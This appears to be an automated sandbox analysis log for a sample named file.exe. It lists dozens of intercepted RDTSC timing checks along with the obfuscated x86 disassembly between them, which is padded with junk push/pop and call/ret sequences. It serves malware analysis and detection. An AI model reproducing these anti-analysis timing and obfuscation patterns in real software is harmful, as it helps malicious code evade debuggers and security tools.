Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013BE8 second address: 1013C02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007FE6C4735516h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 js 00007FE6C4735516h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013C02 second address: 1013C16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FE6C5005F8Eh 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007FE6C5005F86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013C16 second address: 1013C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE6C4735516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013C20 second address: 1013C26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013DD8 second address: 1013DDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013DDD second address: 1013E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE6C5005F99h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013E05 second address: 1013E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015A8C second address: 1015A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015A90 second address: 1015A9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FE6C473551Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015B40 second address: 1015B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015B44 second address: 1015B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015B4A second address: 1015BF6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C5005F88h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FE6C5005F99h 0x00000014 jmp 00007FE6C5005F93h 0x00000019 pop edx 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jns 00007FE6C5005FADh 0x00000024 mov eax, dword ptr [eax] 0x00000026 pushad 0x00000027 pushad 0x00000028 jnc 00007FE6C5005F86h 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 jg 00007FE6C5005F8Ch 0x00000037 popad 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c push edx 0x0000003d jmp 00007FE6C5005F95h 0x00000042 pop edx 0x00000043 pop eax 0x00000044 mov dword ptr [ebp+122D2904h], eax 0x0000004a push 2D47EC13h 0x0000004f push eax 0x00000050 push edx 0x00000051 jnp 00007FE6C5005F90h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015D14 second address: 1015D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015D2B second address: 1015D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007FE6C5005F86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015F9B second address: 1015FAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10167C8 second address: 10167CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10167CE second address: 10167D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016CEA second address: 1016CF4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016CF4 second address: 1016D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735524h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017312 second address: 1017318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017318 second address: 101736D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jng 00007FE6C4735519h 0x00000011 mov si, ax 0x00000014 or edi, dword ptr [ebp+122D1E2Fh] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FE6C4735518h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 xor edi, dword ptr [ebp+122D3A22h] 0x0000003c push 00000000h 0x0000003e mov esi, dword ptr [ebp+122D3A9Ah] 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FE6C473551Ch 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101736D second address: 1017373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD22DD second address: FD2304 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 jmp 00007FE6C4735525h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007FE6C4735534h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B039 second address: 101B059 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE6C5005F98h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B059 second address: 101B0CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE6C4735518h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 cld 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FE6C4735518h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 jmp 00007FE6C4735529h 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B0CD second address: 101B0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B0D2 second address: 101B0F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735524h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B0F0 second address: 101B0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B0F5 second address: 101B100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C5CF second address: 101C5E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FE6C5005F86h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jnc 00007FE6C5005F86h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C5E8 second address: 101C66B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735523h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FE6C4735518h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007FE6C4735518h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 push 00000000h 0x00000042 jmp 00007FE6C473551Eh 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FE6C4735526h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C66B second address: 101C68C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FE6C5005F8Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C68C second address: 101C69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C473551Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CDD2 second address: 101CDD8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DB58 second address: 101DB78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnl 00007FE6C4735516h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007FE6C473551Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DB78 second address: 101DB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DB7C second address: 101DB80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F977 second address: 101F983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE6C5005F86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E38F second address: 101E394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F983 second address: 101F987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F987 second address: 101F995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE6C4735516h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F995 second address: 101F9BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F95h 0x00000007 jns 00007FE6C5005F86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FE6C5005F86h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023153 second address: 1023157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025204 second address: 102523D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FE6C5005F94h 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FE6C5005F86h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102617D second address: 1026182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025343 second address: 1025348 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026182 second address: 1026187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10253F2 second address: 10253FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102823F second address: 102829D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b cmc 0x0000000c movzx edi, dx 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+12469F71h], esi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FE6C4735518h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 add dword ptr [ebp+12471706h], edx 0x00000039 xchg eax, esi 0x0000003a jno 00007FE6C4735520h 0x00000040 push eax 0x00000041 jbe 00007FE6C4735520h 0x00000047 pushad 0x00000048 push edi 0x00000049 pop edi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027345 second address: 1027362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F99h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10283DD second address: 1028483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735522h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE6C473551Ch 0x0000000f nop 0x00000010 call 00007FE6C473551Fh 0x00000015 pop edi 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov bx, 7910h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007FE6C4735518h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 sub dword ptr [ebp+12448C71h], edx 0x00000048 or edi, 0F853AB2h 0x0000004e mov eax, dword ptr [ebp+122D1661h] 0x00000054 jmp 00007FE6C4735520h 0x00000059 push FFFFFFFFh 0x0000005b jmp 00007FE6C4735521h 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 push esi 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028483 second address: 1028488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A30E second address: 102A319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D76D second address: 102D771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D771 second address: 102D775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E653 second address: 102E6DA instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FE6C5005F88h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 call 00007FE6C5005F8Bh 0x0000002d stc 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007FE6C5005F88h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov edi, dword ptr [ebp+122D3A5Eh] 0x00000051 push 00000000h 0x00000053 mov di, cx 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FE6C5005F93h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E6DA second address: 102E6E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D96F second address: 102D975 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D975 second address: 102D990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735527h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D990 second address: 102D994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10315F5 second address: 10315FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10307CF second address: 10307D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10315FB second address: 10315FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103257A second address: 103257F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103257F second address: 1032616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jnp 00007FE6C4735524h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FE6C4735518h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+12471706h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FE6C4735518h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov edi, dword ptr [ebp+1246A253h] 0x00000052 xchg eax, esi 0x00000053 jmp 00007FE6C4735523h 0x00000058 push eax 0x00000059 push ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FE6C473551Bh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10337BD second address: 1033835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE6C5005F88h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov bx, 5F11h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007FE6C5005F88h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 push 00000000h 0x00000046 jl 00007FE6C5005F8Ch 0x0000004c add ebx, dword ptr [ebp+122D2BC8h] 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033835 second address: 103383C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033A71 second address: 1033A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033A75 second address: 1033A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A588 second address: 103A590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A590 second address: 103A5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push edx 0x00000008 jnc 00007FE6C4735516h 0x0000000e pop edx 0x0000000f ja 00007FE6C473551Ah 0x00000015 jc 00007FE6C4735518h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A85C second address: 103A865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A865 second address: 103A869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040DC8 second address: 1040E03 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FE6C5005F90h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FE6C5005F90h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 pushad 0x00000018 jbe 00007FE6C5005F86h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040E03 second address: 1040E1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040E1B second address: 1040E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
